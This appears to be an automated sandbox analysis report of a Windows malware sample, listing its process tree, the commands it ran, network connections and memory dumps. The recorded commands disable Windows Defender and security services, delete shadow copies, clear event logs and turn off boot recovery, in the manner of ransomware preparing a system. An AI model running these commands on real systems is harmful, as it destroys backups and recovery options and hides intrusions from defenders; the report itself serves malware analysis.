PID 3224 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 1872 wrote to memory of 1440 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1872 wrote to memory of 1440 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 536 wrote to memory of 2248 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 536 wrote to memory of 2248 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 1248 wrote to memory of 2388 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1248 wrote to memory of 2388 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 1776 wrote to memory of 1996 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1776 wrote to memory of 1996 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3220 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3220 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3692 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3692 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2396 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 2396 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\sc.exe
PID 3224 wrote to memory of 1624 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 1624 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 3800 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 3800 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe
PID 3224 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe

"C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_12e21" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_12e21" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_12e21" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 52.109.8.20:443 tcp
US 8.8.8.8:53 time.windows.com udp
NL 20.101.57.9:123 time.windows.com udp

Files

memory/1708-118-0x0000000000000000-mapping.dmp

memory/3708-119-0x0000000000000000-mapping.dmp

memory/1252-120-0x0000000000000000-mapping.dmp

memory/2912-121-0x0000000000000000-mapping.dmp

memory/1920-122-0x0000000000000000-mapping.dmp

memory/1764-123-0x0000000000000000-mapping.dmp

memory/708-124-0x0000000000000000-mapping.dmp

memory/3548-125-0x0000000000000000-mapping.dmp

memory/884-126-0x0000000000000000-mapping.dmp

memory/1216-127-0x0000000000000000-mapping.dmp

memory/1872-128-0x0000000000000000-mapping.dmp

memory/1440-129-0x0000000000000000-mapping.dmp

memory/536-130-0x0000000000000000-mapping.dmp

memory/2248-131-0x0000000000000000-mapping.dmp

memory/1248-132-0x0000000000000000-mapping.dmp

memory/2388-133-0x0000000000000000-mapping.dmp

memory/1776-134-0x0000000000000000-mapping.dmp

memory/1996-135-0x0000000000000000-mapping.dmp

memory/2576-136-0x0000000000000000-mapping.dmp

memory/2460-137-0x0000000000000000-mapping.dmp

memory/3220-138-0x0000000000000000-mapping.dmp

memory/2980-139-0x0000000000000000-mapping.dmp

memory/3692-140-0x0000000000000000-mapping.dmp

memory/3656-141-0x0000000000000000-mapping.dmp

memory/1876-142-0x0000000000000000-mapping.dmp

memory/2396-143-0x0000000000000000-mapping.dmp

memory/3096-144-0x0000000000000000-mapping.dmp

memory/1624-145-0x0000000000000000-mapping.dmp

memory/2176-146-0x0000000000000000-mapping.dmp

memory/3800-147-0x0000000000000000-mapping.dmp

memory/1536-148-0x0000000000000000-mapping.dmp

memory/3168-149-0x0000000000000000-mapping.dmp

memory/4036-150-0x0000000000000000-mapping.dmp

memory/2084-151-0x0000000000000000-mapping.dmp

memory/1604-152-0x0000000000000000-mapping.dmp

memory/3144-153-0x0000000000000000-mapping.dmp

memory/2596-154-0x0000000000000000-mapping.dmp

memory/704-155-0x0000000000000000-mapping.dmp

memory/948-156-0x0000000000000000-mapping.dmp

memory/2516-157-0x0000000000000000-mapping.dmp

memory/1328-158-0x0000000000000000-mapping.dmp

memory/1476-159-0x0000000000000000-mapping.dmp

memory/1852-160-0x0000000000000000-mapping.dmp

memory/3920-161-0x0000000000000000-mapping.dmp

memory/3900-162-0x0000000000000000-mapping.dmp

memory/3564-163-0x0000000000000000-mapping.dmp

memory/3504-164-0x0000000000000000-mapping.dmp

memory/3552-165-0x0000000000000000-mapping.dmp

memory/868-166-0x0000000000000000-mapping.dmp

memory/3028-167-0x0000000000000000-mapping.dmp

memory/1464-168-0x0000000000000000-mapping.dmp

memory/2644-169-0x0000000000000000-mapping.dmp

memory/1628-170-0x0000000000000000-mapping.dmp

memory/3700-171-0x0000000000000000-mapping.dmp

memory/692-172-0x0000000000000000-mapping.dmp

memory/428-173-0x0000000000000000-mapping.dmp

memory/640-174-0x0000000000000000-mapping.dmp

memory/1208-175-0x0000000000000000-mapping.dmp

memory/3960-176-0x0000000000000000-mapping.dmp

memory/1916-177-0x0000000000000000-mapping.dmp

memory/1680-178-0x0000000000000000-mapping.dmp

memory/1848-179-0x0000000000000000-mapping.dmp

memory/2424-180-0x0000000000000000-mapping.dmp

memory/2140-181-0x0000000000000000-mapping.dmp

memory/2564-183-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-182-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-184-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-185-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-186-0x0000019A53FB0000-0x0000019A53FD2000-memory.dmp

memory/2564-187-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-188-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-190-0x0000019A54013000-0x0000019A54015000-memory.dmp

memory/2564-189-0x0000019A54010000-0x0000019A54012000-memory.dmp

memory/2564-191-0x0000019A541A0000-0x0000019A54216000-memory.dmp

memory/2564-192-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-196-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-197-0x0000019A54016000-0x0000019A54018000-memory.dmp

memory/2564-198-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-218-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/2564-219-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

memory/1780-221-0x0000027A33740000-0x0000027A33742000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 ad5cd538ca58cb28ede39c108acb5785
SHA1 1ae910026f3dbe90ed025e9e96ead2b5399be877
SHA256 c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
SHA512 c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

memory/1780-222-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-223-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-224-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-225-0x0000027A33A40000-0x0000027A33A62000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 61c94667382d350f800effcc617528b5
SHA1 0582550f8c9b282eda95a57ea959bd62932f7639
SHA256 101da57e1e46a8aec4956ce3dc38bd69166216aa100a27bfc540a308dc01a972
SHA512 e6ab33d976ceb11b629988205bb372c4cafb76cd96999d64086fdbce90f3aaf377d1c83e784e290207cd6285e14b6c0a1a1eabf91050c5046966b8e53fba0aaf

memory/2564-228-0x0000019A54018000-0x0000019A54019000-memory.dmp

memory/1780-227-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-229-0x0000027A33A30000-0x0000027A33A32000-memory.dmp

memory/1780-231-0x0000027A33A33000-0x0000027A33A35000-memory.dmp

memory/1780-230-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-232-0x0000027A4C080000-0x0000027A4C0F6000-memory.dmp

memory/1780-233-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-257-0x0000027A33740000-0x0000027A33742000-memory.dmp

memory/1780-259-0x0000027A33A38000-0x0000027A33A39000-memory.dmp

memory/1780-258-0x0000027A33A36000-0x0000027A33A38000-memory.dmp